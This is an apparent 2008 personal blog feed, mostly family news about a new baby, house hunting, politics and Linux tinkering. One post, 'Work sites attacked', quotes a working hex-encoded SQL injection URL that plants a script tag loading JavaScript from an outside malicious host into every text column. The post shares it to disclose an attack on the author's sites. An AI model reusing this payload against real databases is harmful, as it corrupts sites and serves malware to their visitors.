Wed, 17 Dec 2008 04:20:16 +0000

The Mates of State, the story of taking the family on tour

Sat, 13 Dec 2008 06:35:35 +0000

There’s a great video done by Dan Harris of ABC news on the Mates of State and what the family does when they go on tour. I love the wholesomeness of it and it fits right in with what I think they would be like. This band is one of my absolute favorites and that’s only encouraged by this peak into their good parenting and family priorities. http://abcnews.go.com/video/playerindex?id=6318255 http://www.facebook.com/note.php?note_id=37203373110&ref=mf

Poppy is walking like a champ

Fri, 12 Dec 2008 16:10:56 +0000

So there’s no going back… Though she’s still holding on to fingers when offered (or when produced after her sometimes insistent request) she is walking all the way across rooms without assistance and often without falling. For the most part, when she does fall, it’s fairly controlled and without incident. All of our childproofing is being reassessed now. It’s a best effort thing anyway – for the most part, she’s going to get into whatever she can, we just try to remove the most dangerous and delicate things from 4 feet or lower.

Recently read an excellent article on walmart’s perception as evil.

Fri, 12 Dec 2008 16:06:43 +0000

An excellent article on Walmart being evil or not – a fairly objective seeming overview of the major points of discussion for the different camps on Walmart. That’s a good thing, right? If a company achieves its lower prices by finding better and smarter ways of doing things, then yes, everybody wins. But if it cuts costs by cutting pay and benefits–or by sending production to China–then not everybody wins. And here’s where the story of Good Wal-Mart starts to falter.

Try to stay out of the doghouse

Tue, 09 Dec 2008 18:03:57 +0000

source: JC Penney: Beware of the Doghouse

Birth Control Pills Affect Women’s Taste in Men

Fri, 05 Dec 2008 18:20:50 +0000

I thought this was a very interesting article Birth Control Pills Affect Women’s Taste in Men It’s all about scent. Hidden in a man’s smell are clues about his major histocompatibility complex (MHC) genes, which play an important role in immune system surveillance. Studies suggest that females prefer the scent of males whose MHC genes differ from their own, a preference that has probably evolved because it helps offspring survive: couples with different MHC genes are less likely to be related to each other than couples with similar genes are, and their children are born with more varied MHC profiles and thus more robust immune systems.

I Heart Coffee (well, not me actually)

Wed, 03 Dec 2008 15:23:43 +0000

I have never developed a taste for coffee, personally, but I love the smell and I do love all the sugary-icey-foo-foo drinks. Here’s an entertaining story about coffee from Christoph Niemann, an illustrator at The New Yorker, Atlantic Monthly, The New York Times Magazine and American Illustration.

G20 – Bush getting snubbed

Tue, 02 Dec 2008 06:28:11 +0000

I’m one of the first to speak out against the current (soon-to-change-thank-god) US government, but this video really does make me sad. I have little to say positive toward G.W.Bush and have certainly complained about him (often) when really complaining about the actions of many many people… but I don’t think I’d go so far as to refuse to shake his hand. I mean, he’s still a person. On the otherhand, I myself have toyed with the idea of considering him a mass murderer… so from that perspective, I wouldn’t want to shake his hand or be in the same room with him.

Mr. Bush is no longer president and no longer resides here

Wed, 19 Nov 2008 19:01:16 +0000

One sunny day in 2009 an old man approached the White House from across Pennsylvania Avenue, where he’d been sitting on a park bench. He spoke to the U.S. Marine standing guard and said, ‘I would like to go in and meet with President Bush.’ The Marine looked at the man and said, ‘Sir, Mr. Bush is no longer president and no longer resides here.’ The old man said, ‘Okay, thank you’ and walked away.

Mantis to Basecamp to-do(s)

Thu, 13 Nov 2008 18:36:39 +0000

I just created a handy little script to create todos in basecamp for unresovled tickets in mantis. You can see the open sourced code/project: http://code.google.com/p/mantis2basecamp-todo/. This is something we found useful, if you use both tools, you might find it useful as well.

Photos Uploaded

Sun, 09 Nov 2008 05:49:13 +0000

I’ve finally processed and uploaded the photos from my camera. We’ve got new ones from september, october, and november. Most are of Poppy, but not all of them. Some great halloween photos, some camping, and many other occasions where the camera was brought out. You can see some on the homepage of this site, or poke around flickr at: http://flickr.com/photos/zeroasterisk/

Obama is our president, and there is much rejoicing

Fri, 07 Nov 2008 21:49:46 +0000

I feel like I should have something profound to say. I’ve been a supporter since I picked up one of his books and have grown more so as I’ve found out more and more about Obama and his family and views and campaign. We watched the results at our friend’s house and were ready to cry together, but thankfully we didn’t have to. After the last two presidential elections, I was pessimistic and ready to be disappointed – when Obama won I really had to do a couple of reality checks.

A recent letter from my mom, about her visit and poppy

Fri, 07 Nov 2008 21:40:42 +0000

An email from my Mom who recently visited us. It’s a great recap and update on Poppy, so I’m just pasting in here: I recommend becoming a grandmother — it’s the best! I have just returned from a week in Louisville with Alan and Anita…and Poppy, which included two Halloween parties, a wedding in Columbus, a long walk in Iroquois park to check out the fall colors, two swimming lessons for Poppy (with Anita), and progress made on Poppy’s room mural by my good friend, Joan Firster and me.

Poppy Update @ 9 months

Wed, 29 Oct 2008 04:20:25 +0000

We went for Poppy’s nine month old check up today and she is starting to slim down and lengthen. At her 7month visit, she was 19lbs and 27.5inches, and now she is holding steady at 19lbs and up to 29inches. There were no vaccines today – woohoo! After her visit and a good nap, we were playing downstairs and she took her first preliminary, wobbly steps. It was just 2-3 steps a time or 2, but it was pretty amazing.

Poppy the talker

Tue, 21 Oct 2008 06:06:49 +0000

Anita recently pointed out to me that Poppy has been talking to herself for weeks. I noticed it and never remarked on it because it seemed normal, but it is worth remarking on. She will be crawling around, or cruising, or riding in a carrier or playing with a toy… often during a period or play or concentration, she will start babbling really quietly. A lot like talking to yourself, she just talks away while she’s working on whatever she’s working on.

most of the poppy photos from September are uploaded

Sun, 19 Oct 2008 05:39:38 +0000

I have uploaded most of the photos from September and the first half of October. We have another card to process at some point, but this should be the majority. September October

This American Life, for the win – re: talking to our kids as much as possible

Sun, 19 Oct 2008 05:34:33 +0000

364: Going Big All of TAL is always great, moving, funny, and every other positive adjective I could think of (yes, I’m a fanboy)… but the first act in this show is about baby education and it’s importance… Paul Tough reports on the Harlem Children’s Zone, and its CEO and president, Geoffrey Canada. Among the project’s many facets is Baby College, an 8-week program where young parents and parents-to-be learn how to help their children get the education they need to be successful.

hamachi install error on ubuntu – fixed

Thu, 09 Oct 2008 15:54:37 +0000

I recently re-installed ubuntu (linux) on a server and ran into difficulties installing hamachi. As it turned out I tried to setup hamachi without installing the tun module first. I then installed the tun module, but hamachi wouldn’t work. I eventually figured out that the tuncfg had to be cleaned/make’ed again, after the tun was re-created. This is the error I was getting: bash: /sbin/tuncfg: No such file or directory

In 1999, a choice was made to ease lending restrictions

Fri, 03 Oct 2008 20:06:58 +0000

NY Times article: Fannie Mae Eases Credit To Aid Mortgage Lending : September 30, 1999 In a move that could help increase home ownership rates among minorities and low-income consumers, the Fannie Mae Corporation is easing the credit requirements on loans that it will purchase from banks and other lenders. The action, which will begin as a pilot program involving 24 banks in 15 markets — including the New York metropolitan region — will encourage those banks to extend home mortgages to individuals whose credit is generally not good enough to qualify for conventional loans.

Quick Poppy Accomplishment Update

Wed, 01 Oct 2008 21:13:43 +0000

Poppy has started really reaching for people when she wants to be held. She also now will usually kiss whomever is holding her. That kiss is often with an open mouth and extended tounge, but we’re not picky – it counts!

a touching movie clip about selling the right message

Mon, 29 Sep 2008 21:21:45 +0000

money or lives, what do we care about in this country?

Mon, 29 Sep 2008 21:14:17 +0000

Something has come to me, in the light of the current financial crisis in this country… Most people in this country are now aware that we are on the brink of a depression as serious as the one in the 1930s. People are up in arms, talking to their congressional representatives and it is all over the media. There’s action (or at least attempted and perhaps misguided action) in our government to fix some of the problems, and we are all sure the sky is falling and things need to be done.

Wall Street Bailout, explained on Fresh Air’s show Sept. 23, 2008

Fri, 26 Sep 2008 02:30:11 +0000

A fantastic interview on Fresh Air regarding our current state of the economy and the proposed bailout plan, where we are encouraged to not look at the details and just buy… The Wall Street Bailout: A Conflict Of Interest? Henry Paulson: The Treasury secretary’s $700 billion bailout plan awaits congressional approval.Getty Images Fresh Air from WHYY,September 23, 2008 · With financial markets in flux and a massive government rescue package in the works, financial reporter and New York Timescolumnist Gretchen Morgenson looks into what’s involved in the nearly $700 billion deal.

Grand Central – Project CARE (phone numbers for the homeless)

Thu, 25 Sep 2008 23:01:47 +0000

<blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0px 0px 0px 0.8ex; padding-left: 1ex;"> Project CARE (Communications and Respect for Everybody) recognizes the desire for those in need to get back on their feet and begin a new life. An essential element to that proposition is a consistent and reliable phone number – a place where anyone (family, friends, social workers, health care providers, potential employers, etc.) can leave you a message.

Poppy is a leaf eater

Thu, 25 Sep 2008 02:31:40 +0000

Anita and many of the mom’s took their offspring to Tyler Park today. Poppy was somewhat fussy, all day and in fact all month… she’s getting teeth and she’s frustrated that she can’t really walk on her own yet. Life is hard. So hard, in fact, that sometimes, if you’re a baby, you just gotta eat some leaves and puke… which she did, with abandon. What we didn’t figure out until ~9pm tonight was that one of those leaves was stuck to the roof of her mouth for over 5 hours.

Kentucky Homeschoolers on Parent’s magazine

Mon, 22 Sep 2008 03:08:19 +0000

I saw the following article on a list serve I’ve been lurking on; a simple overview of personal experience with homeschooling… but it’s nice to see local examples get national coverage. Homeschool Diaries: How 3 Families Teach Kids at Home

Satirical voting republican

Mon, 22 Sep 2008 02:56:20 +0000

www.ImVotingRepublican.com I’m Voting Republican is a satirical look at the likely outcome of another four years of Republican government. The not-so-subtle message behind the film is the importance of a united bloc of citizens willing to take the time and effort to vote Democrat in order to improve America’s domestic and foreign policy.

Back in business, now with power

Mon, 22 Sep 2008 02:14:00 +0000

Saturday night we got back home and were amazed to see lights on. LG&E rigged up some scary looking connections across downed lines (we will not go walking on stilts), but they got our block light up… faster than I expected. We were without power for right at a week, and it certainly could have been much worse. We had no damage and no monetary loss (except the food in the fridge/freezer).

Pirate name for “Talk Like a Pirate Day”

Fri, 19 Sep 2008 14:36:56 +0000

<td> : </td> <td> <b>Alan Blount</b> </td> <td> : </td> <td> <b>Baginda Mugsy Gladden</b> </td> <td> : </td> <td> <b>Queen Licia Red Cobra</b> </td> Source: www.piratename.net

The big Louisville windstorm of 2008

Tue, 16 Sep 2008 14:56:07 +0000

We’re without power, like most of Louisville. On Sunday afternoon the wind really started picking up. We thought a storm was coming, but we had no idea about the extent. So, stupidly, we went for a walk around the neighborhood with Poppy. As we are walking, we see a small tree go down… “whoa – that’s crazy” but you know, it’s a small tree, perhaps it was just planted… then we get a little further and we hear a big ripping sound and look back and less than half a block up a huge oak tree has just been pulled up at the roots.

CakePHP Workshop, in Review

Mon, 08 Sep 2008 15:38:13 +0000

We had the very good fortune of attending the first CakePHP workshop, in Raleigh, NC this weekend. Four of the core developers of the project where there, including the project manger and the lead developer; along with one of the guys behind jquery-UI. The non-presenters ranged from people who had never used [We had the very good fortune of attending the first CakePHP workshop, in Raleigh, NC this weekend. Four of the core developers of the project where there, including the project manger and the lead developer; along with one of the guys behind jquery-UI.

CakePHP Workshop 2008.09.06

Sat, 06 Sep 2008 13:00:18 +0000

So here I am, in Raleigh, NC – waiting for the CakePHP Workshop to start… We survived the rain so far, waiting to see if there is any flooding or whatnot. Have met a few people here so far, all seem very friendly. Looking forward to seeing what happens and what we learn along the way. I am wearing my “I [heart] LAMP” geek-shirt today, as it seemed appropriate (if a little over the top nerdy).

Mom has left the state

Thu, 04 Sep 2008 04:33:10 +0000

My mom (Poppy’s Grannie C) has visited us for a week and a half and it couldn’t have been timed better. With all of Poppy’s recent accomplishments, it was kind-of like meeting a whole new grandchild… at least a new set of things to watch out for when poppy-sitting. Mom painted 80% of a wonderful mural in Poppy’s room, which I get to finish up over the next week or so (looking forward to doing a photo-synth of it, when done).

Poppy – the dawning of the era of mobility

Thu, 04 Sep 2008 04:27:06 +0000

Poppy is over seven months old now. 223 days. She’s old. In her first week of being 6 months old, she started getting her first tooth and started crawling. She quickly realized that through crawling is reliable, it’s not as great as pulling up to standing and trying to coax someone or anything into keeping her upright while she staggers towards any object of her desire. Basically, we spend a lot of time with her holding onto our fingers as we stoop over and walk her around… she sits when she’s near something she wants.

Modern Internet Identity Theft by Andrew Patrick

Fri, 29 Aug 2008 21:49:44 +0000

A recent report from Don Jackson at SecureWorks (dated March 20 2007) examines a new Trojan and provides some alarming insights on Internet Identity Theft. It is worth reviewing this case carefully to understand how sophisticated modern identity theft schemes have become, and how difficult it can be to investigate and prevent them.What makes this Trojan interesting is that it: is installed automatically simply by visiting an infected web site is invisible to the user is often missed by anti-virus software is able to steal identity information even if it is encrypted using https efficiently collects large amounts of information and sends it to a “mother ship” provides an interface for fraudsters to easily purchase the stolen data is been used to collect thousands of login credentials at major banks and government agencies has not been shut down is only one of many such programs that are now offered as kits source: http://www.

Anita’s just passed her boards

Thu, 28 Aug 2008 21:34:00 +0000

Anita has been going to school for her whole life. She’s 28, and she’s gone to school k-12, and then college for 9 years after that. She got her PharmD from OSU and became a Dr. of Pharmacy… but all of that is for naught without passing a national board and a state law board. Well – she’s passed both on her first attempt and is now, a bonafide (licensed) Pharmacist.

A Great post on a friend’s blog

Fri, 22 Aug 2008 02:51:38 +0000

US Contractors in Iraq’s motto: “What happens here today stays here today.” The Most Privatized War in US History. Blackwater USA: The US State Department pumps $700 million worth of security contracts into the soldier-for-hire company of a major Republican funder. Meanwhile, Paul Bremer signs Order 17 granting immunity to private contractors in Iraq, “effectively barring the Iraqi government from prosecuting contractor crimes in domestic courts.” Havoc ensues. Jeremy Scahill’s “Making a Killing” in the Oct.

Gmail users should go SSL

Thu, 21 Aug 2008 21:13:40 +0000

Why You Should Turn Gmail’s SSL Feature On Now Let’s talk security and why you should take advantage of Gmail’s recent SSL feature, and why you might want to be careful using other non-SSL webmail services. But first, make sure your connection is secured using SSL. How do you know a connection is secured by SSL? The handy “s” after “http” will tell you. For example, https://mail.google.com is encrypted while http://mail.

Poppy: babbling, teething, and growing

Mon, 18 Aug 2008 05:15:44 +0000

Poppy is growing up way too quickly. Anita cried a couple nights ago watching her sleep, and I can certainly understand… She hasn’t technically doubled in size, but she seems like she is at least twice as big as she was at birth and many hundred fold more capable/developed/skilled/aware. She’s babbling a lot, starting this weekend and she has a second tooth just under the surface ready to come out.

A great article on Jan Arnow’s work in Rwanda

Thu, 14 Aug 2008 03:46:01 +0000

Rwandans look to Louisville for interfaith model The Rwandans invited the center’s executive director, Jan Arnow, to visit their country, where in May, she conducted workshops and discussions with a group that included various faiths, from Muslims to Catholics to Quakers to Pentecostals. During that visit, she said, group members told her, “We want to do what your organization does” — leading to establishment of the center’s first branch outside Kentucky.

Penelope Lou is movin and shaking (anything she can grasp)

Fri, 08 Aug 2008 03:41:00 +0000

Poppy is a feirce 6 months now. She is sitting and crawling and talking a lot (though still mostly in vowels only). What’s funny is to see her grab ahold of something (anything) and shake it. “What does this do? How about if I beat it against the floor for 5 minutes? hmmm… What about after another 5 minutes?” She is so much fun to watch and interact with… all she’s doing is sitting or crawling and violently shaking/beating/eating whatever is in her little hands… but that’s more than enough to keep us watching.

Dell is now shipping computers with Ubuntu installed

Wed, 06 Aug 2008 18:02:27 +0000

Here’s a list of computers being shipped by Dell with Ubuntu… decent savings, good systems, and pro linux… makes me really happy.

We are moved in… YAY

Sun, 03 Aug 2008 02:11:04 +0000

I’ve gone for 72 hours without checking my email or getting online. Wonders will never cease. We’ve been finishing up packing and moving into our new house! As such – things are of course – crazy and i’m beaten down (in fact, I might have very very mild heat stroke) – but we’re both really happy to be here and get this house… we’ll be getting things setup as we can

Poppy Photos – Early July

Fri, 11 Jul 2008 14:34:03 +0000

photo-page / slideshow Poppy ate some broccoli {.image_link}{.image_link} Poppy slept with her papa and walked with her mama And played with her bear and in her crib And then Poppy and Anita and several other friends went to Tyler Park for the afternoon {.image_link}

Poppy Accomplishment, sitting

Wed, 09 Jul 2008 18:31:29 +0000

Most changes are gradual – including this one… Poppy is sitting up pretty well now. Over the last two weeks she’s been getting closet to sitting unaided and most of this week, as long as there’s a pillow to protect her from occasionally flailing backwards – she’s a solid sitter. Amazing how proud I can be over such simple accomplishments.

Our House on Coral

Wed, 02 Jul 2008 16:58:34 +0000

We have made an offer on 183 Coral Ave. and it was accepted (finally). You may have heard about the problems we had with the last house we were interested in, so were were trying not to get our hopes up too much – but now we are signed and contracted… good to go. The house is big enough with a little expansion room in the basement, across the street from a great park and on an almost double lot.

Alan’s Finger is in a Torture Device

Thu, 26 Jun 2008 16:21:00 +0000

Alan’s fingers were bent backwards and the ligaments are contracting/scaring… this is supposed to fix it (uncomfortably).

Penelope Lou – 5 months old

Wed, 25 Jun 2008 04:10:16 +0000

Our daughter is 5 months old today. The milestones of time help me take account of the monumental changes which have happened. We have a fully fledged baby – nobody would call her an infant… she will never be an infant again. This is both wonderful and tragic – but luckily more on the wonderful side. She’s starting to teeth occasionally, but it seems to bother her for a couple of days here and there.

Sadness, no home for the blounts

Mon, 23 Jun 2008 03:31:24 +0000

We had gotten VERY excited about a house we were going to buy. We made an offer, they countered, we accepted… all today (Sunday). We were waiting on the counter-offer-paperwork to sign and send back… well, instead of getting that, we actually got notified that the offer was retracted. Someone else made a better offer and we weren’t given an option to bid back. Of course, this was after we’d told everyone and after we’d gotten really, really excited about this house.

Holy Hand Grenades, Firefox3 + Firebug1.2 = amazing!

Fri, 20 Jun 2008 17:53:58 +0000

I’ve been putting off upgrading to FF3 because I was afraid of plugins which wouldn’t work and at this point, I live by many of my FF addons. Well I feel silly now – having updated… Things seem to be as smooth as possible and FF is much more responsive. YAY MOZILLA!

poppy, age 4 months – 4 days in colorado

Fri, 06 Jun 2008 04:13:06 +0000

Poppy at Month four: This month has been quite productive. She has been growing by leaps and bounds, like normal. She’s now reaching for everything and putting it all in her mouth and dropping it on the floor. Nothing is safe within a foot and a half of her. She is sitting up well, if you help her out. She’s standing well, if you help her out. I think she is just

Date Night == Ethiopian & Iron Man

Fri, 16 May 2008 14:49:57 +0000

we had a date last night (our first in 6+ months) and ate Ethiopian food and watched “Iron Man“. Both the food and the movie were fantastic! Maybe it’s because we haven’t really had a night to ourselves in a while; maybe it’s because we haven’t seen a movie in a few months… but we both loved every second of our date and I personally will be re watching iron man a few times.

baby Sean

Thu, 15 May 2008 21:21:06 +0000

Jessie had his son (photos)

A wonderful investigation into Ubuntu usability

Mon, 12 May 2008 16:25:13 +0000

I think Ubuntu is great, easy to use, standardized, and built on Debian… what could be better? Apparently – there are certainly some things which could be better. Here is a great experiment one geek and his girlfriend undertook: I’ve toyed with Linux since 2002, when I first installed Mandrake. With the latest release of Ubuntu, I was interested to see how far Linux had come since then in terms of being used easily by the mainstream.

Work sites attacked

Mon, 21 Apr 2008 17:20:49 +0000

Just an FYI – some of our old sites are not filtering out injection attacks and got hosed last weekend. The attack seems fairly sophisticated (imo) and is described in this post. orderitem.asp?IT=GM-204;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C004000 4300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F0072002000430055 00520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D00200073007900 73006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069 006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F0072002000 62002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D0031 0036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00 200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C00450028004000400046004500540043 0048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B00 27005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C 005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E00 6900680061006F007200720031002E0063006F006D002F0031002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E0045 00580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E0044002000 43004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F00430075 00720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);– If you just copy the hex value from this URL, as this… 0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C004000430020007600610072006300680061007200280032003500 3500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C 00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C007300 7900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E0078007400790070 0065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F00 7200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062 006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F004300750072007300 6F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D003000290020 0042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B0040004300 2B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B0027 0027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E006900680061006F007200720031002E0063006F006D002F00

Poppy in the mirror – talking to herself

Sat, 19 Apr 2008 20:25:13 +0000

Poppy went swimming for the first time, today

Sat, 19 Apr 2008 18:49:21 +0000

Poppy went swimming for the first time in her cute little two piece + diaper. Mom and Grannie C and Papa all helped keep her afloat. She did great, not always sure she knew what was going on, but was happy and absorbed the new experience without drinking too much chlorinated water. All told, she was probably in the water for almost an hour.

Poppy Video at Grannie C’s, early April 2008

Fri, 11 Apr 2008 04:01:39 +0000

First, Poppy laughing – Then a longer segment where Grannie C is talking about stuff that Poppy will do, and then a look around the back deck, and finally a little bit of card playing. (6:44)

Poppy Lou Video on YouTube – Giggling

Thu, 10 Apr 2008 23:21:57 +0000

Note: updated on April 17th, with a second and longer laughing clip.

General update : in Houston, Poppy status = good

Thu, 10 Apr 2008 17:44:17 +0000

Update – we are in Houston for April and May. Staying w/ family and Anita’s doing her last rotation at a hospital here. They are kicking her ass and not even saying sorry… but it’s the home stretch till she’s finally done with school forever! (YAY) Poppy is big-tastic. She is holding her head up all the time, laughing a little (when tickled or otherwise super-excited) and smiling a lot. She’s almost on a schedule – which includes 15-30 min of crying

New Poppy photos

Tue, 08 Apr 2008 16:30:43 +0000

New Poppy photos (videos coming sometime soon). Poppy – 2008.03

Poppy has laughed – for real – at almost 10 weeks

Thu, 03 Apr 2008 16:15:12 +0000

Penelope has laughed in her sleep and has done some sort-of laughs along the way, but last night, for the first time, she laughed. We got several giggles from her. We were tickling her and of course giggling ourselves, but regardless – she laughed. We were beside ourselves, as would be expected. She’s starting to make some syllable sounds, but it’s not very far along as of yet.

In houston for 2 months, the travel

Wed, 02 Apr 2008 16:09:28 +0000

The drive to Houston went wonderfully. We did have to stop several times, but it was just less than what we had prepared for. An 8.5 hour leg of the trip took 11 hours. We got to stop in KC and see Karen, Aunt Sue, and Uncle Richard. We stayed for breakfast and then drove to Gainsville and visited my uncle Bob. That 7 hour drive took about 10. After staying the night with

Poppy is big at 2 months

Thu, 27 Mar 2008 16:11:42 +0000

Poppy is 24 inches and 12#10ozs at her 2 month appointment. That puts her in the 90th percent on bigness. He head is starting to catch up to her body ad it’s now in the 70th percentile. {.tt-flickr}{.tt-flickr}

Bad time to want to buy a house

Tue, 18 Mar 2008 18:30:48 +0000

This Jan. we thought it would be a good time to start looking for houses, since the rates came down… but being slow and you know, having a child – we just recently got out and actually looked at houses. By now the rates are over 6% for a standard 30yr mortgage. We have perfect credit and decent everything else… but the lenders are just not passing along the reduced rates.

me.dium – experiment

Wed, 12 Mar 2008 02:30:20 +0000

In theory, attached is a me.dium widget

Prescription drugs in drinking water

Tue, 11 Mar 2008 13:55:39 +0000

A vast array of pharmaceuticals — including antibiotics, anti-convulsants, mood stabilizers and sex hormones — have been found in the drinking water supplies of at least 41 million Americans, an Associated Press investigation shows To be sure, the concentrations of these pharmaceuticals are tiny, measured in quantities of parts per billion or trillion, far below the levels of a medical dose. Also, utilities insist their water is safe. But the presence of so many prescription drugs — and over-the-counter medicines like acetaminophen and ibuprofen — in so much of our drinking water is heightening worries among scientists of long-term consequences to human health.

Update from the snow

Sun, 09 Mar 2008 19:13:20 +0000

Uploaded photos of Poppy for the last several weeks (havn’t uploaded since early Feb.). You can go through the new ones (march and feb) or just look at the main stream of photos. It snowed around 7 inches on Friday and Saturday, and we got to play in the snow some, but only very briefly. We both started to daydream about taking Poppy out for sledding adventures and hot chocolate afterwards.

The full and sorry story of my trip to Dallas on Friday, Feb. 29

Mon, 03 Mar 2008 03:48:13 +0000

I arrived at the Louisville, KY airport at 5:30am, Feb 29 and tried to check in for my flight #1755 to Dallas, TX. As it turns out, the confirmation/look up number I received with my itinerary was invalid. They couldn’t find it. And then, upon further investigation, the ticket had been refunded or somehow mis-scheduled. I had to get back in line (I’d been holding up the line this whole time and by now, it was long).

Jonathan Coulton performs “You Ruined Everything” Unplugged

Tue, 26 Feb 2008 22:17:25 +0000

Breast milk contains stem cells

Wed, 20 Feb 2008 20:12:10 +0000

Breast milk contains stem cells – Monday, 11 February 2008 – By Catherine Madden The Perth scientist who made the world-first discovery that human breast milk contains stem cells is confident that within five years scientists will be harvesting them to research treatment for conditions as far-reaching as spinal injuries, diabetes and Parkinson’s disease. But what Dr Mark Cregan is excited about right now is the promise that his discovery could be the start of many more exciting revelations about the potency of breast milk.

Mint.com – finance overviews

Mon, 18 Feb 2008 22:00:24 +0000

My buddy Jason Smithson recently posted something about mint.com and I decided to check it out. It’s a fantastic site, very easy to use, and provides a very simple overview of the categories of my spending. So, I know I spend X% on food and Y% on rent… I’ve been nothing but impressed. There’s also a “how to save money” section which strikes me as advertising and I’ve dutifully ignored it.

Poppy is getting older quick

Fri, 08 Feb 2008 23:36:37 +0000

Ok – yeah, she’s only 15 days old today… sounds like nothing… but she is already changing. Her head is getting more solid and her face seems to be solidifying (for want of a better term). Poppy is getting big. She’s still under 10 lbs, but she’s moving more, making want-to-be-crawling motions when on her belly… and is more prone to recognize people around her. She’s starting to be unhappy when she realizes people aren’t holding her or at least around her… but that might not be new – it’s just new that people aren’t always holding her.

Poppy doing fine, new photos and videos

Sat, 02 Feb 2008 17:07:01 +0000

Poppy is doing great – an absolute joy to have around 95% of the time. She can get fussy sometimes, but it’s not bad at all – and she’s so happy most of the time. We’ve gotten better at giving baths and getting dressed and diapering. We’ve using about 50%/50% cloth and disposable diapers. We’d like to use more cloth, but they really don’t fit her yet, they are too big.

And Poppy is born, and there was much Rejoiceing… (yay)

Tue, 29 Jan 2008 19:37:27 +0000

My life has shifted. If my perspective on the world were comprised of tectonic plates – it’s as if a new continent has formed, replete with earthquakes, tsunamis, and the readjustment of every other piece of the former world. That analogy is poor, because in my case, all these changes are great. Great is an understatement; magnificent is an understatement. So – here’s the short story for those who haven’t heard it yet.

Baby Watch Update: 2008.01.23 @ 4pm

Wed, 23 Jan 2008 23:17:50 +0000

Baby Watch Update: 2008.01.23 @ 4pm Anita’s been having some serious contraction for a while… it could be early labor or it could be pre-labor. Even if this isn’t it, we have an appointment tomorrow morning for induction since Penelope is probably pretty big, and Anita is not (relatively speaking). So – tonight or tomorrow. We’re at home now and likely to remain here until we’re convinced she’s in labor (contractions ~5 min apart for an hour, with a change in activity in between)… or until tomorrow morning at 9am.

Anita – 9 months pregnant

Mon, 21 Jan 2008 17:34:57 +0000

Anita – 9 months pregnant – photos taken by our friend Angie, in Louisville, KY.

Alan’s birthday – well wished, but no poppy

Thu, 17 Jan 2008 21:08:08 +0000

Perhaps there are just too many birthday reminders floating around, but I feel like everyone I’ve ever known has remembered my birthday this year. Not a big deal, but makes me feel good, regardless. Thanks to all the well wishers! B-day has been great… a walk in the woods w/ Myra, followed by fantastic sushi lunch and great coffee… then to work (at work now)… The only real complaint I have is that Penelope isn’t here yet.

Alan & Anita visit Molly, Randy, Simon, and Gena on 2008.01.13

Wed, 16 Jan 2008 05:39:47 +0000

We got to visit Molly, Randy, Simon, and Gena on 2008.01.13 – for an early Gena birthday and to show off Anita in the final stages of pregnancy (due anytime now…) Apparently, Gena is into Disney Princess stuff… Anita was able to come to the rescue and provide the appropriate frilly dress and paraphernalia. A fun visit – to be sure… Note the really neat images of Simon watching his train & Gena running across the room in light-up shoes (slow shutter speed == action shot == cool)

Simple Desktop Application for Google Analytics

Wed, 09 Jan 2008 18:51:27 +0000

I was looking for an API for Google Analytics. I didn’t find one, but I did find a slick little application for looking at the reports and stats of Google Analytics. Google Analytics Air The Google Analytics Reporting suite is an Adobe AIR application that brings Google Analytics to the desktop. It uses it’s own custom API to interact with Google and nearly implements all features of Analytics. See the feature list for more info.

Webcam of alan – in testing

Fri, 04 Jan 2008 06:25:54 +0000

In theory this image will stay current – periodically updated with new versions every few minutes… if it works out, I will add it to the header or sidebar or something.

Anita’s Big – 31lbs extra – 25% of her body weight is Poppy

Fri, 04 Jan 2008 05:18:54 +0000

Anita and I went to the Dr. and got the latests baby-weight… it’s 31 pounds. That takes the pregnancy weight from ~20% to ~25% of her previous body weight. A picture’s worth 1000 words… and I’m wouldn’t write that much anyway, but here are some pictures to prove my point: And a few more, for good measure:

2007 Year-end Update

Wed, 26 Dec 2007 17:48:44 +0000

Hello everyone. We like to do things a bit latter… you know, catch the after Christmas sales and have more time to prepare. This year that philosophy also extends to Christmas cards and in this case, emails. The year of 2007 January of 2007 Alan’s team got outsourced to Singapore and he found a new job working for friends doing web development. Alan also picked up a contracting job which ended up being part-time which ended up being his new full time job this November.

